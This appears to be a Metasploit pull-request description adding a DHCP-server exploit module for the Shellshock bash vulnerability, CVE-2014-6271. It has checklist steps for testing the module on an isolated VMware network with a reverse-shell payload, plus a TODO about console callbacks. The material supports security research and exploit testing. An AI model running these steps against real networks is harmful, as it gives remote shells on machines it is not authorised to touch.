Add DHCP server module for CVE-2014-6271

Due to size restrictions it doesn't work with perl or awk payloads.

### Verification
 - [ ] make a new VMWare network with VMWare's dhcp server **disabled**
 - [ ] assign that to an interface on a linux vm 
 - [ ] start `msfconsole` as root
 - [ ] `use exploit/unix/dhcp/bash_environment`
 - [ ] `set PAYLOAD cmd/unix/reverse`
 - [ ] `set SRVHOST` to the address of the new interface
 - [ ] `set NETMASK 255.255.255.0`
 - [ ] `run`
 - [ ] restart networking on the vm

TODO
 - Add a callback to `Rex::Proto::DHCP::Server` to for when a new client connects. Right now there's no indication in the console when this happens
@rcvalle also added ```domainname``` here: https://github.com/rapid7/metasploit-framework/pull/3889/files#diff-156e1a25f95dcb8df3bed6cef14785bbR98, need normalization (I can do it unless you stop me).